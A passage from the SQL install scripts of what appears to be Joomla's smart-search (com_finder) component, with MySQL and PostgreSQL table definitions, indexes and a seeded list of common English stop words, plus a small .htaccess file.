`idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms4` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms4` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms5` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms5` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms6` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms6` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms7` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms7` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms8` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms8` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_terms9` -- CREATE TABLE IF NOT EXISTS `#__finder_links_terms9` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsa` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsa` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsb` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsb` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsc` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsc` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsd` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsd` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termse` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termse` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_links_termsf` -- CREATE TABLE IF NOT EXISTS `#__finder_links_termsf` ( `link_id` int(10) unsigned NOT NULL, `term_id` int(10) unsigned NOT NULL, `weight` float unsigned NOT NULL, PRIMARY KEY (`link_id`,`term_id`), KEY `idx_term_weight` (`term_id`,`weight`), KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_taxonomy` -- CREATE TABLE IF NOT EXISTS `#__finder_taxonomy` ( `id` int(10) unsigned NOT NULL auto_increment, `parent_id` int(10) unsigned NOT NULL default '0', `title` varchar(255) NOT NULL, `state` tinyint(1) unsigned NOT NULL default '1', `access` tinyint(1) unsigned NOT NULL default '0', `ordering` tinyint(1) unsigned NOT NULL default '0', PRIMARY KEY (`id`), KEY `parent_id` (`parent_id`), KEY `state` (`state`), KEY `ordering` (`ordering`), KEY `access` (`access`), KEY `idx_parent_published` (`parent_id`,`state`,`access`) ) DEFAULT CHARSET=utf8; -- -- Dumping data for table `#__finder_taxonomy` -- REPLACE INTO `#__finder_taxonomy` (`id`, `parent_id`, `title`, `state`, `access`, `ordering`) VALUES (1, 0, 'ROOT', 0, 0, 0); -- -------------------------------------------------------- -- -- Table structure for table `#__finder_taxonomy_map` -- CREATE TABLE IF NOT EXISTS `#__finder_taxonomy_map` ( `link_id` int(10) unsigned NOT NULL, `node_id` int(10) unsigned NOT NULL, PRIMARY KEY (`link_id`,`node_id`), KEY `link_id` (`link_id`), KEY `node_id` (`node_id`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_terms` -- CREATE TABLE IF NOT EXISTS `#__finder_terms` ( `term_id` int(10) unsigned NOT NULL auto_increment, `term` varchar(75) NOT NULL, `stem` varchar(75) NOT NULL, `common` tinyint(1) unsigned NOT NULL default '0', `phrase` tinyint(1) unsigned NOT NULL default '0', `weight` float unsigned NOT NULL default '0', `soundex` varchar(75) NOT NULL, `links` int(10) NOT NULL default '0', PRIMARY KEY (`term_id`), UNIQUE KEY `idx_term` (`term`), KEY `idx_term_phrase` (`term`,`phrase`), KEY `idx_stem_phrase` (`stem`,`phrase`), KEY `idx_soundex_phrase` (`soundex`,`phrase`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_terms_common` -- CREATE TABLE IF NOT EXISTS `#__finder_terms_common` ( `term` varchar(75) NOT NULL, `language` varchar(3) NOT NULL, KEY `idx_word_lang` (`term`,`language`), KEY `idx_lang` (`language`) ) DEFAULT CHARSET=utf8; -- -- Dumping data for table `#__finder_terms_common` -- REPLACE INTO `#__finder_terms_common` (`term`, `language`) VALUES ('a', 'en'), ('about', 'en'), ('after', 'en'), ('ago', 'en'), ('all', 'en'), ('am', 'en'), ('an', 'en'), ('and', 'en'), ('ani', 'en'), ('any', 'en'), ('are', 'en'), ('aren''t', 'en'), ('as', 'en'), ('at', 'en'), ('be', 'en'), ('but', 'en'), ('by', 'en'), ('for', 'en'), ('from', 'en'), ('get', 'en'), ('go', 'en'), ('how', 'en'), ('if', 'en'), ('in', 'en'), ('into', 'en'), ('is', 'en'), ('isn''t', 'en'), ('it', 'en'), ('its', 'en'), ('me', 'en'), ('more', 'en'), ('most', 'en'), ('must', 'en'), ('my', 'en'), ('new', 'en'), ('no', 'en'), ('none', 'en'), ('not', 'en'), ('noth', 'en'), ('nothing', 'en'), ('of', 'en'), ('off', 'en'), ('often', 'en'), ('old', 'en'), ('on', 'en'), ('onc', 'en'), ('once', 'en'), ('onli', 'en'), ('only', 'en'), ('or', 'en'), ('other', 'en'), ('our', 'en'), ('ours', 'en'), ('out', 'en'), ('over', 'en'), ('page', 'en'), ('she', 'en'), ('should', 'en'), ('small', 'en'), ('so', 'en'), ('some', 'en'), ('than', 'en'), ('thank', 'en'), ('that', 'en'), ('the', 'en'), ('their', 'en'), ('theirs', 'en'), ('them', 'en'), ('then', 'en'), ('there', 'en'), ('these', 'en'), ('they', 'en'), ('this', 'en'), ('those', 'en'), ('thus', 'en'), ('time', 'en'), ('times', 'en'), ('to', 'en'), ('too', 'en'), ('true', 'en'), ('under', 'en'), ('until', 'en'), ('up', 'en'), ('upon', 'en'), ('use', 'en'), ('user', 'en'), ('users', 'en'), ('veri', 'en'), ('version', 'en'), ('very', 'en'), ('via', 'en'), ('want', 'en'), ('was', 'en'), ('way', 'en'), ('were', 'en'), ('what', 'en'), ('when', 'en'), ('where', 'en'), ('whi', 'en'), ('which', 'en'), ('who', 'en'), ('whom', 'en'), ('whose', 'en'), ('why', 'en'), ('wide', 'en'), ('will', 'en'), ('with', 'en'), ('within', 'en'), ('without', 'en'), ('would', 'en'), ('yes', 'en'), ('yet', 'en'), ('you', 'en'), ('your', 'en'), ('yours', 'en'); -- -------------------------------------------------------- -- -- Table structure for table `#__finder_tokens` -- CREATE TABLE IF NOT EXISTS `#__finder_tokens` ( `term` varchar(75) NOT NULL, `stem` varchar(75) NOT NULL, `common` tinyint(1) unsigned NOT NULL default '0', `phrase` tinyint(1) unsigned NOT NULL default '0', `weight` float unsigned NOT NULL default '1', `context` tinyint(1) unsigned NOT NULL default '2', KEY `idx_word` (`term`), KEY `idx_context` (`context`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_tokens_aggregate` -- CREATE TABLE IF NOT EXISTS `#__finder_tokens_aggregate` ( `term_id` int(10) unsigned NOT NULL, `map_suffix` char(1) NOT NULL, `term` varchar(75) NOT NULL, `stem` varchar(75) NOT NULL, `common` tinyint(1) unsigned NOT NULL default '0', `phrase` tinyint(1) unsigned NOT NULL default '0', `term_weight` float unsigned NOT NULL, `context` tinyint(1) unsigned NOT NULL default '2', `context_weight` float unsigned NOT NULL, `total_weight` float unsigned NOT NULL, KEY `token` (`term`), KEY `keyword_id` (`term_id`) ) DEFAULT CHARSET=utf8; -- -------------------------------------------------------- -- -- Table structure for table `#__finder_types` -- CREATE TABLE IF NOT EXISTS `#__finder_types` ( `id` int(10) unsigned NOT NULL auto_increment, `title` varchar(100) NOT NULL, `mime` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `title` (`title`) ) DEFAULT CHARSET=utf8; PKs>\)com_finder/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_finder/sql/index.htmlnuW+APKs>\)%com_finder/sql/install.postgresql.sqlnuW+A-- -- Table: #__finder_filters -- CREATE TABLE "#__finder_filters" ( "filter_id" serial NOT NULL, "title" character varying(255) NOT NULL, "alias" character varying(255) NOT NULL, "state" smallint DEFAULT 1 NOT NULL, "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "created_by" integer NOT NULL, "created_by_alias" character varying(255) NOT NULL, "modified" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "modified_by" integer DEFAULT 0 NOT NULL, "checked_out" integer DEFAULT 0 NOT NULL, "checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "map_count" integer DEFAULT 0 NOT NULL, "data" text NOT NULL, "params" text, PRIMARY KEY ("filter_id") ); -- -- Table: #__finder_links -- CREATE TABLE "#__finder_links" ( "link_id" serial NOT NULL, "url" character varying(255) NOT NULL, "route" character varying(255) NOT NULL, "title" character varying(255) DEFAULT NULL, "description" character varying(255) DEFAULT NULL, "indexdate" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "md5sum" character varying(32) DEFAULT NULL, "published" smallint DEFAULT 1 NOT NULL, "state" integer DEFAULT 1, "access" integer DEFAULT 0, "language" character varying(8) NOT NULL, "publish_start_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "publish_end_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "start_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "end_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "list_price" numeric(8,2) DEFAULT 0 NOT NULL, "sale_price" numeric(8,2) DEFAULT 0 NOT NULL, "type_id" bigint NOT NULL, "object" bytea NOT NULL, PRIMARY KEY ("link_id") ); CREATE INDEX "#__finder_links_idx_type" on "#__finder_links" ("type_id"); CREATE INDEX "#__finder_links_idx_title" on "#__finder_links" ("title"); CREATE INDEX "#__finder_links_idx_md5" on "#__finder_links" ("md5sum"); CREATE INDEX "#__finder_links_idx_url" on "#__finder_links" (url(75)); CREATE INDEX "#__finder_links_idx_published_list" on "#__finder_links" ("published", "state", "access", "publish_start_date", "publish_end_date", "list_price"); CREATE INDEX "#__finder_links_idx_published_sale" on "#__finder_links" ("published", "state", "access", "publish_start_date", "publish_end_date", "sale_price"); -- -- Table: #__finder_links_terms0 -- CREATE TABLE "#__finder_links_terms0" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms0_idx_term_weight" on "#__finder_links_terms0" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms0_idx_link_term_weight" on "#__finder_links_terms0" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms1 -- CREATE TABLE "#__finder_links_terms1" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms1_idx_term_weight" on "#__finder_links_terms1" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms1_idx_link_term_weight" on "#__finder_links_terms1" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms2 -- CREATE TABLE "#__finder_links_terms2" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms2_idx_term_weight" on "#__finder_links_terms2" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms2_idx_link_term_weight" on "#__finder_links_terms2" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms3 -- CREATE TABLE "#__finder_links_terms3" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms3_idx_term_weight" on "#__finder_links_terms3" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms3_idx_link_term_weight" on "#__finder_links_terms3" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms4 -- CREATE TABLE "#__finder_links_terms4" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms4_idx_term_weight" on "#__finder_links_terms4" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms4_idx_link_term_weight" on "#__finder_links_terms4" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms5 -- CREATE TABLE "#__finder_links_terms5" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms5_idx_term_weight" on "#__finder_links_terms5" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms5_idx_link_term_weight" on "#__finder_links_terms5" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms6 -- CREATE TABLE "#__finder_links_terms6" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms6_idx_term_weight" on "#__finder_links_terms6" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms6_idx_link_term_weight" on "#__finder_links_terms6" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms7 -- CREATE TABLE "#__finder_links_terms7" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms7_idx_term_weight" on "#__finder_links_terms7" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms7_idx_link_term_weight" on "#__finder_links_terms7" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms8 -- CREATE TABLE "#__finder_links_terms8" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms8_idx_term_weight" on "#__finder_links_terms8" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms8_idx_link_term_weight" on "#__finder_links_terms8" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_terms9 -- CREATE TABLE "#__finder_links_terms9" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_terms9_idx_term_weight" on "#__finder_links_terms9" ("term_id", "weight"); CREATE INDEX "#__finder_links_terms9_idx_link_term_weight" on "#__finder_links_terms9" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsa -- CREATE TABLE "#__finder_links_termsa" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsa_idx_term_weight" on "#__finder_links_termsa" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsa_idx_link_term_weight" on "#__finder_links_termsa" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsb -- CREATE TABLE "#__finder_links_termsb" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsb_idx_term_weight" on "#__finder_links_termsb" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsb_idx_link_term_weight" on "#__finder_links_termsb" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsc -- CREATE TABLE "#__finder_links_termsc" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsc_idx_term_weight" on "#__finder_links_termsc" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsc_idx_link_term_weight" on "#__finder_links_termsc" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsd -- CREATE TABLE "#__finder_links_termsd" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsd_idx_term_weight" on "#__finder_links_termsd" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsd_idx_link_term_weight" on "#__finder_links_termsd" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termse -- CREATE TABLE "#__finder_links_termse" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termse_idx_term_weight" on "#__finder_links_termse" ("term_id", "weight"); CREATE INDEX "#__finder_links_termse_idx_link_term_weight" on "#__finder_links_termse" ("link_id", "term_id", "weight"); -- -- Table: #__finder_links_termsf -- CREATE TABLE "#__finder_links_termsf" ( "link_id" integer NOT NULL, "term_id" integer NOT NULL, "weight" numeric(8,2) NOT NULL, PRIMARY KEY ("link_id", "term_id") ); CREATE INDEX "#__finder_links_termsf_idx_term_weight" on "#__finder_links_termsf" ("term_id", "weight"); CREATE INDEX "#__finder_links_termsf_idx_link_term_weight" on "#__finder_links_termsf" ("link_id", "term_id", "weight"); -- -- Table: #__finder_taxonomy -- CREATE TABLE "#__finder_taxonomy" ( "id" serial NOT NULL, "parent_id" integer DEFAULT 0 NOT NULL, "title" character varying(255) NOT NULL, "state" smallint DEFAULT 1 NOT NULL, "access" smallint DEFAULT 0 NOT NULL, "ordering" smallint DEFAULT 0 NOT NULL, PRIMARY KEY ("id") ); CREATE INDEX "#__finder_taxonomy_parent_id" on "#__finder_taxonomy" ("parent_id"); CREATE INDEX "#__finder_taxonomy_state" on "#__finder_taxonomy" ("state"); CREATE INDEX "#__finder_taxonomy_ordering" on "#__finder_taxonomy" ("ordering"); CREATE INDEX "#__finder_taxonomy_access" on "#__finder_taxonomy" ("access"); CREATE INDEX "#__finder_taxonomy_idx_parent_published" on "#__finder_taxonomy" ("parent_id", "state", "access"); -- -- Dumping data for table #__finder_taxonomy -- UPDATE "#__finder_taxonomy" SET ("id", "parent_id", "title", "state", "access", "ordering") = (1, 0, 'ROOT', 0, 0, 0) WHERE "id"=1; INSERT INTO "#__finder_taxonomy" ("id", "parent_id", "title", "state", "access", "ordering") SELECT 1, 0, 'ROOT', 0, 0, 0 WHERE 1 NOT IN (SELECT 1 FROM "#__finder_taxonomy" WHERE "id"=1); -- -- Table: #__finder_taxonomy_map -- CREATE TABLE "#__finder_taxonomy_map" ( "link_id" integer NOT NULL, "node_id" integer NOT NULL, PRIMARY KEY ("link_id", "node_id") ); CREATE INDEX "#__finder_taxonomy_map_link_id" on "#__finder_taxonomy_map" ("link_id"); CREATE INDEX "#__finder_taxonomy_map_node_id" on "#__finder_taxonomy_map" ("node_id"); -- -- Table: #__finder_terms -- CREATE TABLE "#__finder_terms" ( "term_id" serial NOT NULL, "term" character varying(75) NOT NULL, "stem" character varying(75) NOT NULL, "common" smallint DEFAULT 0 NOT NULL, "phrase" smallint DEFAULT 0 NOT NULL, "weight" numeric(8,2) DEFAULT 0 NOT NULL, "soundex" character varying(75) NOT NULL, "links" integer DEFAULT 0 NOT NULL, PRIMARY KEY ("term_id"), CONSTRAINT "#__finder_terms_idx_term" UNIQUE ("term") ); CREATE INDEX "#__finder_terms_idx_term_phrase" on "#__finder_terms" ("term", "phrase"); CREATE INDEX "#__finder_terms_idx_stem_phrase" on "#__finder_terms" ("stem", "phrase"); CREATE INDEX "#__finder_terms_idx_soundex_phrase" on "#__finder_terms" ("soundex", "phrase"); -- -- Table: #__finder_terms_common -- CREATE TABLE "#__finder_terms_common" ( "term" character varying(75) NOT NULL, "language" character varying(3) NOT NULL ); CREATE INDEX "#__finder_terms_common_idx_word_lang" on "#__finder_terms_common" ("term", "language"); CREATE INDEX "#__finder_terms_common_idx_lang" on "#__finder_terms_common" ("language"); -- -- Dumping data for table `#__finder_terms_common` -- -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('a', 'en') WHERE "term"='a'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'a', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='a'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('about', 'en') WHERE "term"='about'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'about', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='about'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('after', 'en') WHERE "term"='after'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'after', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='after'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('ago', 'en') WHERE "term"='ago'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'ago', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ago'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('all', 'en') WHERE "term"='all'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'all', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='all'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('am', 'en') WHERE "term"='am'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'am', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='am'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('an', 'en') WHERE "term"='an'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'an', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='an'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('and', 'en') WHERE "term"='and'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'and', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='and'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('ani', 'en') WHERE "term"='ani'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'ani', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ani'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('any', 'en') WHERE "term"='any'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'any', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='any'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('are', 'en') WHERE "term"='are'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'are', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='are'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('aren''t', 'en') WHERE "term"='aren''t'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'aren''t', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='aren''t'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('as', 'en') WHERE "term"='as'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'as', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='as'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('at', 'en') WHERE "term"='at'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'at', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='at'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('be', 'en') WHERE "term"='be'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'be', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='be'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('but', 'en') WHERE "term"='but'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'but', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='but'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('by', 'en') WHERE "term"='by'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'by', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='by'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('for', 'en') WHERE "term"='for'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'for', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='for'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('from', 'en') WHERE "term"='from'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'from', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='from'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('get', 'en') WHERE "term"='get'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'get', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='get'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('go', 'en') WHERE "term"='go'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'go', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='go'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('how', 'en') WHERE "term"='how'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'how', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='how'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('if', 'en') WHERE "term"='if'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'if', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='if'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('in', 'en') WHERE "term"='in'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'in', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='in'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('into', 'en') WHERE "term"='into'; INSERT INTO "#__finder_terms_common" 